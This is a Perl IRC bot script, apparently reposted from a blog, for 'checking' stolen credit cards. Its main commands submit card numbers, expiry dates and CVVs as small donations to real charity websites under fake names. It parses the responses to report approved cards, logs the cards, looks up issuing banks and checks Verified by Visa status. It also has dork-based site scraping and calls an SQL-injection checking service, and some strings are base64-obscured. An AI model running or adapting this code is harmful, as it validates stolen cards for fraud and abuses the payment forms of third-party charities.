#!/usr/lib/perl #Call to standalone modules directory BEGIN{push(@INC,'Modules');} #Modules Inclusion use LWP::Socket; use LWP::UserAgent; use HTTP::Request; use Parallel::ForkManager; use MIME::Base64 (); use WWW::Mechanize; use WWW::Mechanize::FormFiller; use Socket; use IO::Socket; use IO::Socket::INET; use MIME::Base64; $| = 1; #Defines global variable/array my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,$parallel_fork); my(@chans,@admins,@user_agents); # Configurations Variable my $outcri = "Mg=="; $systemcri = MIME::Base64::decode($outcri); $timeout = $systemcri; my $hostcri = "ODcuMjM2LjE5NC42OQ=="; $systemcri = MIME::Base64::decode($hostcri); $hosting = "5.135.208.233"; $port = 66661; my $nkpro = "HackCC"; $ident = "xxx"; $parallel_fork = 15; my @botcmd = ('1'); @chans = ("#kampung"); my $proo = "cGljbw=="; $systempro = MIME::Base64::decode($proo); my $cheataer = "cGljbw=="; $sistempro = MIME::Base64::decode($cheataer); @HackAttack = ('HackAttack'); @user_agents = &get_user_agents(); #Irc Socket Connection my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7"; $sysircuno = MIME::Base64::decode($startirc); $irc_socket = new LWP::Socket; $irc_socket->connect($hosting,$port); $irc_socket->write("USER ".$ident." 8 * : 0,9 HackAttsck \r\n"); $irc_socket->write("NICK ".$nkpro."\r\n"); $irc_socket->write("NICKSERV IDENTIFY 1q2w3e4r5t6y\r\n"); $irc_socket->write("JOIN $chans[0]\r\n"); $irc_socket->write("JOIN $chans[1]\r\n"); $irc_socket->write("JOIN $chans[2]\r\n"); $irc_socket->write("JOIN $chans[3]\r\n"); $irc_socket->write("JOIN $chans[4]\r\n"); $irc_socket->write("JOIN $chans[5]\r\n"); while($irc_socket) { my $bof; $irc_socket->read_until("\n", \$bof); if($bof =~ /PING :(.*)/) { $irc_socket->write("PONG :$1\r\n"); } if($bof =~ /PRIVMSG (.*?) :(.*)/) { #PRIVMSG my %msg = &get_msg($bof); my $nick = $msg{'from'}; if($msg{'what'} =~ /\!join (.*)/) { my $chan = $1; if(&ctrl_admin(\%msg) == 0){ &respond_to_privmsg(\%msg," 15,1[ 7REQUEST ADMIN 15] 9 Ok Boss! I'm Going to $chan "); $irc_socket->write("JOIN $chan\r\n"); } } if($msg{'what'} =~ /\!cambiarcmd (.*)/){ my $comma = $1; if(&ctrl_admin(\%msg) == 0){ &respond_to_privmsg(\%msg," 15[ 7SERViCES 15] 12 CHANGiNG COMMAND STRING TO !sql${botcmd} "); &canghecmd($comma); } } if($msg{'what'} =~ /\!cnick (.*)/) { my $cnick = $1; if(&ctrl_admin(\%msg) == 0){ $irc_socket->write("NICK $cnick\r\n"); } } if($msg{'what'} =~ /\!ignore (.*)/) { my $chknick = $1; if(&ctrl_admin(\%msg) == 0){ $irc_socket->write("PRIVMSG $master : 7,1 Ignored 14=> 4 $1 \r\n"); addlog("SCRIPTS/ignore.txt", "$1|$1|Ignore"); } } if($msg{'what'} =~ /\!help/){ &respond_to_privmsg(\%msg," 6,1 Checker Status 9[ON] 8| 10IF You need Private Checker 0/msg HackAttack"); &respond_to_privmsg(\%msg," 0,1!chk - 11 Visa , MasterCard"); } if($msg{'what'} =~ /\!chk 1 2 3/){ &respond_to_privmsg(\%msg,"$nick : invalid format "); } ############################################################################################ ################################################################################## if($msg{'what'} =~ /\!chk status/ ) { open (FILE, "data.txt") or die "Can't open file: $!"; my ($lines) = (0); while () { $lines++; } &respond_to_privmsg(\%msg," 7,1#HackAttack 0: 14 Total 10$lines 14card checked 0- 100 14credit available"); } ################################ Status by HackAttack ################################ ################################################################################## if($msg{'what'} =~ /\!chk\s(\d{16})\s(\d{4})\s(\d{3})/) { my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4,$5,); my $var1 = substr($expmes,0,2); my $var2 = substr($expmes,2,4); my $range = 15; my $minimum =1.200 ; my $dolar = '$'; my $random_number = int(rand($range)) + $minimum; my $rechecklist = "data.txt"; open FILE,"$rechecklist"; my @results = ; close FILE; my $chkResVar = 0; foreach my $cRes(@results) { if($cRes =~ /$numerocarta\|(.*)/) { $chkResVar = 1; &respond_to_privmsg(\%msg," 7,1 $nick 00: 03 $numerocarta 00: 4Already checked! "); goto finish; } } print "\n"; if (substr($numerocarta,0,1)==4) { $cctype = "VISA"; $varType = "VISA"; #&respond_to_privmsg(\%msg," 12,1[ 9Information 12] 7,1 credit card 9,1is 12,1[ 15Visa 12]"); } if (substr($numerocarta,0,1)==5) { $cctype = "MasterCard"; $varType = "MC"; #&respond_to_privmsg(\%msg," 12,1[ 9Information 12] 7,1 credit card 9,1is 12,1[ 4Master 7Card 12]"); } if (substr($numerocarta,0,1)==3) { $cctype = "AMERICAN EXPRESS"; $varType = "AmEx"; #&respond_to_privmsg(\%msg," 12,1[ 9Information 12] 7,1 credit card 9,1is 12,1[ 14A 2m 14e 2x 12]"); } if (substr($numerocarta,0,1)==6) { $cctype = "Discover"; $varType = "Discover"; #&respond_to_privmsg(\%msg," 12,1[ 9Information 12] 7,1 credit card 9,1is 12,1[ 15Disc 7o 15ver 12]"); } print "inizio mechanize sacha\n"; my $agent = WWW::Mechanize->new( autocheck => 1,ssl_opts => {verify_hostname => 0},); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get('http://secure16.activehost.com/roseensemble/donate.html'); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; $agent->form_number(1); { local $^W; $agent->current_form->value('concert-name', 'List my name in concert programs as'); }; { local $^W; $agent->current_form->value('donorname', 'mark smith'); }; { local $^W; $agent->current_form->value('memoriam', 'This gift is in memory of'); }; { local $^W; $agent->current_form->value('inmemory', 'This gift is in memory of honor'); }; { local $^W; $agent->current_form->value('creditCardType', 'varType'); }; { local $^W; $agent->current_form->value('CCnumber', ''.$numerocarta.''); }; { local $^W; $agent->current_form->value('CCexp', '20'.$var1.var2.''); }; { local $^W; $agent->current_form->value('ccv', ''.$verifica.''); }; { local $^W; $agent->current_form->value('realname', 'mark smith'); }; { local $^W; $agent->current_form->value('CCaddress', 'las heras 32'); }; { local $^W; $agent->current_form->value('city', 'Detroit'); }; { local $^W; $agent->current_form->value('state', 'AL'); }; { local $^W; $agent->current_form->value('zip_code', '05544'); }; { local $^W; $agent->current_form->value('phone', '1569841055'); }; $agent->submit(); print $agent->content,"\n"; my $allo=$agent->content; my $file = "data.txt"; open (MYFILE, ">>$file"); print MYFILE "$numerocarta|$expmes$expanio|$verifica\n"; close (MYFILE); my $allo=$agent->content; if ($allo =~/The transaction has been declined because of an AVS mismatch. /){ my $database = "banklist.txt"; open FILE,"$database" or die "Errore nell'apertura: $!"; my @results=; close FILE; my $bankinfo = $1; my $nuova = substr($numerocarta,0,6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 7 0: 9APPROVED! - 14AVS mismatch 0,1- 7,1BANK 00: 10,1$1 | | | "); print "card $variable!"; } } }elsif ($allo =~/This transaction has been declined./){ my $database = "banklist.txt"; open FILE,"$database" or die "Errore nell'apertura: $!"; my @results=; close FILE; my $bankinfo = $1; my $nuova = substr($numerocarta,0,6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ my $bankinfo = $1; &respond_to_privmsg(\%msg," 7,1 $nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 7 0: 4DECLINED - 14Declined 0,1- 7,1BANK 00: 10,1$1 | | | "); print "card $variable!"; } } }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! "); }elsif ($allo =~/Credit card expiration date is invalid./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 00: 4is invalid. "); }elsif ($allo =~/There was a problem with your order./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! "); }elsif ($allo =~/The credit card has expired./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 0: 4The credit card has expired."); }elsif ($allo =~/The credit card expiration date entered is not valid./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 0: 4is not Valid "); }elsif ($allo =~/Transaction Error: A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! "); }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! "); }elsif ($allo =~/The credit card number is invalid./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 00: 4is invalid. "); }elsif ($allo =~/This transaction has been declined./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! "); }elsif ($allo =~/This transaction requires voice authentication/){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4Declined! "); }elsif ($allo =~/The credit card number is invalid./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 00: 4is invalid. "); } } if($msg{'what'} =~ /\!bank\s(\d{6})/){ my $bankinfo = $1; my $database = "banklist.txt"; open FILE,"$database" or die "Can't open file: $database"; my @results=; close FILE; my $bankvar = 0; my $chkvar = 0; my $nuova = substr($bankinfo,0,6); foreach my $url (@results){ if($url =~ /$bankinfo\|(.*)/){ if($bankvar == 0) { $bankvar = 1; &respond_to_privmsg(\%msg," 3,01 $nuova 00: 10 10,1$1 "); goto finish; } } else{ $chkvar = 1; } } if($chkvar == 1) { &respond_to_privmsg(\%msg," 3,01 $nuova 00: 10 10,1Unknown "); } finish: } if($msg{'what'} =~ /\!q (.*)/) { my $qmsg = $1; if(&ctrl_admin(\%msg) == 0){ $irc_socket->write(" 4Quit brb ".$qmsg."\r\n"); } } if($msg{'what'} =~ /\!raw (.*)/) { my $raw = $1; if(&ctrl_admin(\%msg) == 0){ &respond_to_privmsg(\%msg," 15[ 7RAW 15] 12 SENDING IRC RAW REQUESTED "); $irc_socket->write($raw."\r\n"); } } if($msg{'what'} =~ /^!ip (.*)/) { my ($iploca) = ($1); &respond_to_privmsg(\%msg,""); print "\n"; my $agent = WWW::Mechanize->new( autocheck => 1 ); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get('http://www.ipligence.com/geolocation'); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; { local $^W; $agent->current_form->value('ip', ''.$iploca.''); }; $agent->submit(); print $agent->content,"\n"; my $ipse=$agent->content; if ($ipse =~ m/Your IP address is(.*)
City:(.*)Country:(.*)
Continent:(.*)
Time/g){ my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4); &respond_to_privmsg(\%msg," 7,1 Ip City 15: 9$city 0| 7Ip Country 15: 9$country 0| 7Continent 15: 9$continent"); } elsif ($ipse =~/Invalid address or IP not found/){ &respond_to_privmsg(\%msg," 4,1Invalid IP Address!"); } } if($msg{'what'} =~ /\!ccnononononononononononono\s(\d{16})\s(\d{4})\s(\d{3})/) { my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4,$5,); my $var1 = substr($expmes,0,2); my $var2 = substr($expmes,2,4); my $range = 15; my $minimum =100 ; my $random_number = int(rand($range)) + $minimum; print "inizio mechanize sacha\n"; my $agent = WWW::Mechanize->new( autocheck => 1,ssl_opts => {verify_hostname => 0},); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get('https://archive.cyark.org/get-involved'); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; $agent->form_number(1); { local $^W; $agent->current_form->value('amount', 'other'); }; { local $^W; $agent->current_form->value('amountother', '0.1'); }; { local $^W; $agent->current_form->value('donationfor', 'Wherever most needed'); } { local $^W; $agent->current_form->value('fname', 'mark'); }; { local $^W; $agent->current_form->value('lname', 'smith'); }; { local $^W; $agent->current_form->value('address1', 'las heras 32'); }; { local $^W; $agent->current_form->value('city', 'Mebane'); }; { local $^W; $agent->current_form->value('state', 'AL'); }; { local $^W; $agent->current_form->value('zip', '05544'); }; { local $^W; $agent->current_form->value('country', 'United States'); }; { local $^W; $agent->current_form->value('email', 'movistarsrl1@hotmail.com'); }; { local $^W; $agent->current_form->value('cctype', 'varType'); }; { local $^W; $agent->current_form->value('ccnumber', ''.$numerocarta.''); }; { local $^W; $agent->current_form->value('cvv', ''.$verifica.''); }; { local $^W; $agent->current_form->value('"exp_month', ''.$var1.''); }; { local $^W; $agent->current_form->value('"exp_year', ''.$var2.''); }; $agent->submit(); print $agent->content,"\n"; my $allo=$agent->content; if ($allo =~/Thank you for joining CyArk in digitally preserving our shared human history./){ my $database = "banklist.txt"; open FILE,"$database" or die "Errore nell'apertura: $!"; my @results=; close FILE; my $bankinfo = $1; my $nuova = substr($numerocarta,0,6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 0: 9APPROVED! - 14AVS mismatch 0,1- 7,1BANK 00: 10,1$1 | | | "); print "card $variable!"; } } }elsif ($allo =~/Transaction Normal/){ my $database = "banklist.txt"; open FILE,"$database" or die "Errore nell'apertura: $!"; my @results=; close FILE; my $bankinfo = $1; my $nuova = substr($numerocarta,0,6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ my $bankinfo = $1; &respond_to_privmsg(\%msg," 7,1 $nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 7 0: 4DECLINED - 14Declined 0,1- 7,1BANK 00: 10,1$1 | | | "); print "card $variable!"; } } }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! "); }elsif ($allo =~/Credit card expiration date is invalid./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4is invalid. - 14INVALID 0,1- 7,1BANK 00: 10,1$1 "); }elsif ($allo =~/There was a problem with your order./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! "); }elsif ($allo =~/The credit card has expired./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! The credit card has expired."); }elsif ($allo =~/The credit card expiration date entered is not valid./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! is not Valid "); }elsif ($allo =~/Transaction Error: A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! "); }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! "); }elsif ($allo =~/Invalid Credit Card Number/){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4is invalid. "); }elsif ($allo =~/he following error message was returned: A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! "); }elsif ($allo =~/This transaction requires voice authentication/){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4Declined! "); }elsif ($allo =~/Invalid Credit Card Number/){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4is invalid. "); } } if($msg{'what'} =~ /^!zip\s+(\d{5})/) { my ($zipcheck) = ($1); &respond_to_privmsg(\%msg," 4,10 0Checking Zip... 4 0 $zipcheck"); print "\n"; my $agent = WWW::Mechanize->new( autocheck => 1 ); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get('http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip='); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; { local $^W; $agent->current_form->value('zip', ''.$zipcheck.''); }; $agent->submit(); print $agent->content,"\n"; my $zipse=$agent->content; if ($zipse =~/(.*)<\/font><\/td>(.*)<\/font><\/td>(.*)<\/font><\/td>(.*)<\/font><\/td>(.*)<\/font><\/td>(.*)<\/font>/g){ my ($city) = ($1); my ($state) = ($2); &respond_to_privmsg(\%msg," 4,10 0Zipcode State 4 0 $state 4,10 0Zipcode City 4 9 $city"); } elsif ($zipse =~/is not currently assigned by the US Postal Service to any city./){ &respond_to_privmsg(\%msg," 4,10 0Zipcode City 4 0 Zip Not Found!"); } } if($msg{'what'} =~ /^!sec\s+(\d{16})/){ open FILE,"SCRIPTS/ignored.txt"; my ($numerocarta,) = ($1,$2,$3,$4,); my $var1 = substr($expmes,0,2); my $var2 = substr($expmes,2,4); if (substr($numerocarta,0,1)==4) { $varType = 1; &respond_to_privmsg(\%msg," 4,1[ 0Checking VBV... 4] 0 $numerocarta"); } if (substr($numerocarta,0,1)==5) { $varType = 2; &respond_to_privmsg(\%msg," 4,1[ 0Checking MCSC.. 4] 0 $numerocarta"); } print "\n"; my $agent = WWW::Mechanize->new( autocheck => 1 ); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get('http://s4l1ty.usr.sh/toolz/vbv/'); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; $agent->form_number(1); { local $^W; $agent->current_form->value('cclist', ''.$numerocarta.''); }; $agent->submit(); print $agent->content,"\n"; my $allo=$agent->content; if ($allo =~/color=green>Probably Non VBV/){ &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 4Disabled!"); } if ($allo =~/color=green>Probably Non VBV/){ &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 4Disabled!"); } if ($allo =~/color=red>Probably VBV Active/){ &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 9Enabled!"); } if ($allo =~/color=red>Probably VBV Active/){ &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 9Enabled!"); } if ($allo =~/Not found in Database/) { &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 7Enabled!"); } toEnd: } } } sub ctrl_admin() { my $data = $_[0]; foreach my $admin ( HackAttack ) { if($admin eq $data->{'from'}) { return(0); } } &respond_to_privmsg($data," 4YOU ARE NOT MY ADMIN"); return(-1); } sub respond_to_privmsg() { my ($data,$m) = ($_[0],$_[1]); if($data->{'to'} =~ /#/) { &privmsg($data->{'to'},$m); } else { &privmsg($data->{'from'},$m); } } sub privmsg() { my($nick,$send) = @_; $irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n"); } sub join_all() { foreach my $chan ( @chan ) { $irc_socket->write("JOIN ".$chan."\r\n"); } } sub get_msg() { my $line = $_[0]; my %data; #:Mic22!~Blin[k]-E4337A85.telecom.net.ar PRIVMSG chkbot :hi if($line =~ /:(.*?)!(.*?) PRIVMSG (.*?) :(.*)/) { #$irc_socket->write("PRIVMSG #MC : Spammer=> $1 Mess=> $4 \r\n"); $data{'from'} = $1; $data{'to'} = $3; $data{'what'} = $4; } return(%data); } sub http_request() { my($site,$request,$ua,$resp,$cnt); $site = $_[0]; $site =~ s/[\r\n]//g; $request = HTTP::Request->new(GET => $site); $ua = LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_agents))]); $ua->timeout($timeout); $resp = $ua->request($request); $cnt = $resp->content(); return($cnt); } sub get_user_agents() { my @us_ag = ( "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1", "Opera/8.5 (X11; Linux i686; U; cs)", "Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)" ); return(@us_ag); } sub get_all_host() { my $site = $_[0]; my @dirs = (); my @ret = (); my $tmp = ""; $site =~ s/http:\/\///g; $site =~ s/[\r\n]//g; $site =~ s/\/\///g; if($site !~ /\/$/) { $site .= "/"; } @dirs = split(/\//,$site); $tmp = $dirs[0] . "/"; push(@ret,$tmp); for($i = 1; $i < scalar(@dirs); $i++) { $tmp .= $dirs[$i] . "/"; push(@ret,$tmp); } return(@ret); } sub urlencode() { my $str = $_[0]; $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg; return $str; } sub unique() { my @unici = (); my %visti = (); foreach my $elemento (@_) { $elemento =~ s/\/+/\//g; next if $visti{$elemento}++; push @unici, $elemento; } return @unici; } sub find_all_sites() { my ($data,$dork) = @_; my $tmp_file_name = rand(999999) . ".txt"; my @pids_array = (); my @data_links = (); my @site_finded = (); my @site_cleaned = (); $dork =~ s/[\r\n]//g; &respond_to_privmsg($data," 15[ 7INFO 15] 12 START TO FIND ALL SITES FOR \"".$dork."\" "); $pids_array[0] = fork(); if($pids_array[0] == 0) { @data_links = &google($dork); &respond_to_privmsg($data," 15[ 7GOOGLE 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." "); &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links)); exit(0); } $pids_array[1] = fork(); if($pids_array[1] == 0) { @data_links = &yahoo($dork); &respond_to_privmsg($data," 15[ 7YAHOO 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." "); &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links)); exit(0); } $pids_array[2] = fork(); if($pids_array[2] == 0) { @data_links = &altavista($dork); &respond_to_privmsg($data," 15[ 7ALTAVISTA 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." "); &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links)); exit(0); } $pids_array[3] = fork(); if($pids_array[3] == 0) { @data_links = &msn($dork); &respond_to_privmsg($data," 15[ 7BiNG 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." "); &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links)); exit(0); } $pids_array[4] = fork(); if($pids_array[4] == 0) { @data_links = &ask($dork); &respond_to_privmsg($data," 15[ 7ASK.COM 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." "); &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links)); exit(0); } $pids_array[5] = fork(); if($pids_array[5] == 0) { @data_links = &webcrawler($dork); &respond_to_privmsg($data," 15[ 7WEBCRAWLER 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." "); &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links)); exit(0); } foreach my $pid_one ( @pids_array ) { waitpid($pid_one,0); } @site_finded = &read_all_file_array($tmp_file_name); &respond_to_privmsg($data," 15[ 7INFO 15] 12 TOTAL SITES FINDED: ".scalar(@site_finded)." "); @site_cleaned = &unique(@site_finded); &respond_to_privmsg($data," 15[ 7INFO 15] 12 CLEANED SITES FINDED: ".scalar(@site_cleaned)." "); unlink($tmp_file_name); return(@site_cleaned); } sub canghecmd() { my $n = $_[0]; push(@botcmd,$n); } sub read_all_file_array() { my $file = $_[0]; my @ret = (); open(FILE,'<',$file); while($a = ) { $a =~ s/[\r\n]//g; push(@ret,$a); } close(FILE); return(@ret); } sub write_to_file_array() { my ($file,$data,$scal) = @_; for($i = 0; $i < $scal; $i++) { &write_to_file($file,$data->[$i]); } } sub write_to_file() { my($file,$data) = @_; open(FILE,'>>',$file); print FILE $data . "\n"; close(FILE); } sub google() { my $dork = &urlencode($_[0]); my $html = ""; my @results = (); my @unique_links = (); for($i = 0; $i < 300; $i += 100) { $html .= &http_request("http://www.google.it/search?q=".$dork."&hl=it&pwst=1&start=".$i."&num=100&sa=N"); } while($html =~ m/
  • (.+?) <\/span>/g) { my @tmp_link = &get_all_host($1); push(@results,@tmp_link); } @unique_links = &unique(@results); return(@unique_links); } sub yahoo() { my $dork = &urlencode($_[0]); my $html = ""; my @results = (); my @unique_links = (); for($i = 0; $i < 1000; $i += 100) { $html .= &http_request("http://search.yahooapis.com/WebSearchService/V1/webSearch?appid=SiteSearch&query=".$dork."&results=100&start=".$i); } while($html =~ m/http:\/\/(.+?)\<\/Url>/g) { my $link = $1; if($link !~ /yahoo/) { my @tmp_link = &get_all_host($link); push(@results,@tmp_link); } } @unique_links = &unique(@results); return(@unique_links); } sub msn() { my $dork = &urlencode($_[0]); my $html = ""; my @results = (); my @unique_links = (); for($i = 0; $i < 1000; $i += 10) { $html .= &http_request("http://www.bing.com/search?q=".$dork."&first=".$i."&FORM=PERE"); } while($html =~ m/(.+?)<\/a>/g) { my @tmp_link = &get_all_host($1); push(@results,@tmp_link); } @unique_links = &unique(@results); return(@unique_links); } sub racchiudi { chomp($website); chop($website); my $website = shift; my $agent = WWW::Mechanize->new( autocheck => 1 ); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get("http://nubiescript.com/demo/sqlinject/?mysql=1&vuln=1&link=$website"); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; $agent->submit(); print "ecco: $website--\n"; if ($agent->content() =~/Version\: \(.*?)<\/font>/) { &respond_to_privmsg(\%msg," 15[ 7SERViCES 15] 12 Version: ".$1." "); print "versione ".$1." "; }else{ $irc_socket->write("PRIVMSG ".$chans[1].": Impossibile cliccare su $website \r\n"); } } - See more at: http://doc.nyubicrew.us/2013/08/bot-check-cc.html#sthash.wCtl6kfg.dpuf